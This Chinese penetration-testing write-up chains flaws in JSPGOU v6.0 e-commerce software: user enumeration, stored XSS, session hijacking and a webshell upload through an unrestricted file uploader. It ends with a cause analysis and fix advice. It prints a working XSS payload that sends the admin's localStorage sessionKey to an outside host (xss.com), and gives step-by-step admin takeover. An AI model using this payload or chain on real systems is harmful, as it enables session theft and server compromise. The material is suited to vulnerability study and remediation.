某GOU单店版 v6.0 渗透笔记(组合GetShell)
字数 1487 2025-08-29 08:31:48
JSPGOU单店版 v6.0 渗透测试教学文档
1. 系统概述
JSPGOU是基于Java技术研发的电子商务管理软件,具有以下特点:
- 强大、稳定、安全、高效、跨平台
- 网站模板统一在后台管理
- 拥有强大、灵活的标签系统
- 用户可自定义显示内容和显示方式
- 适用于大、中、小型企业构建电子商务平台
2. 漏洞分析
2.1 用户遍历漏洞
漏洞描述:系统存在用户枚举漏洞,可通过API接口判断用户名是否存在。
利用方法:
- 发送GET请求到
/username_unique.jspx接口 - 修改
username参数为目标用户名 - 根据返回结果判断用户是否存在
请求示例:
GET /username_unique.jspx?username=admin HTTP/1.1
Host: demo3.jeecms.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: application/json, text/javascript, */*
X-Requested-With: XMLHttpRequest
判断依据:
- 返回
false表示用户存在 - 返回
true表示用户不存在
2.2 前台存储型XSS漏洞
漏洞描述:系统存在存储型XSS漏洞,可窃取管理员sessionKey,进而绕过认证。
利用方法:
- 构造恶意JavaScript代码窃取sessionKey
- 将XSS代码注入到系统前台
- 等待管理员访问触发XSS
JavaScript利用代码:
var website = "http://xss.com/XSS/";
(function() {
(new Image()).src = website + '/?keepsession=1&location=' + escape((function() {
try {
return document.location.href
} catch (e) {
return ''
}
})()) + '&User=' + escape((function() {
try {
return localStorage.getItem("userName")
} catch (e) {
return ''
}
})()) + '&sessionKey=' + escape((function() {
try {
return localStorage.getItem("sessionKey")
} catch (e) {
return ''
}
})());
})();
关键点:
- 系统主要依赖
sessionKey而非Cookie进行身份验证 sessionKey存储在用户端PC的localStorage中- 获取到
sessionKey后可以伪造管理员会话
2.3 会话劫持攻击
攻击步骤:
- 获取到管理员的
sessionKey后 - 使用Burp Suite拦截登录请求
- 替换响应包中的
sessionKey为获取到的管理员sessionKey - 放开Burp Suite拦截,任意账号密码即可登录为管理员
关键点:
- 系统对数据包进行了校验,无法直接修改请求包
- 需要通过响应包替换的方式注入
sessionKey - 系统仅依赖
sessionKey进行身份验证,不校验Cookie
2.4 后台GetShell
漏洞描述:后台存在无限制文件上传漏洞,可直接获取WebShell。
利用方法:
- 登录后台(通过前述漏洞获取管理员权限)
- 导航到"界面"->"资源管理"->"上传文件"
- 上传WebShell文件(如JSP木马)
优势:
- 无文件类型限制
- 无内容安全检查
- 可直接上传可执行脚本
3. 漏洞成因分析
- 用户枚举:API接口未对用户存在性检查做限制
- XSS漏洞:前端未对用户输入做充分过滤
- 认证缺陷:
- 过度依赖
sessionKey进行身份验证 - 未正确校验Cookie
sessionKey存储在客户端且可被窃取
- 过度依赖
- 文件上传漏洞:后台未对上传文件做任何安全检查
4. 修复建议
-
用户枚举:
- 统一返回相同的信息(如都返回"true")
- 增加请求频率限制
- 添加验证码机制
-
XSS漏洞:
- 对所有用户输入进行HTML实体编码
- 实施严格的CSP策略
- 对输出到页面的数据做XSS过滤
-
认证机制:
- 加强Cookie校验
- 不要仅依赖
sessionKey进行身份验证 - 实现多因素认证
sessionKey应设置HttpOnly和Secure标志
-
文件上传:
- 限制上传文件类型
- 检查文件内容
- 上传文件重命名
- 存储在非Web可访问目录
-
其他建议:
- 实现完善的日志记录和监控
- 定期进行安全审计
- 保持系统更新到最新版本
5. 总结
JSPGOU v6.0存在多个严重安全漏洞,攻击者可以通过组合利用这些漏洞最终获取系统完全控制权。最关键的漏洞在于系统的认证机制设计缺陷,过度依赖客户端存储的sessionKey而忽视其他安全校验机制。建议用户立即采取修复措施,特别是加强认证机制和文件上传限制。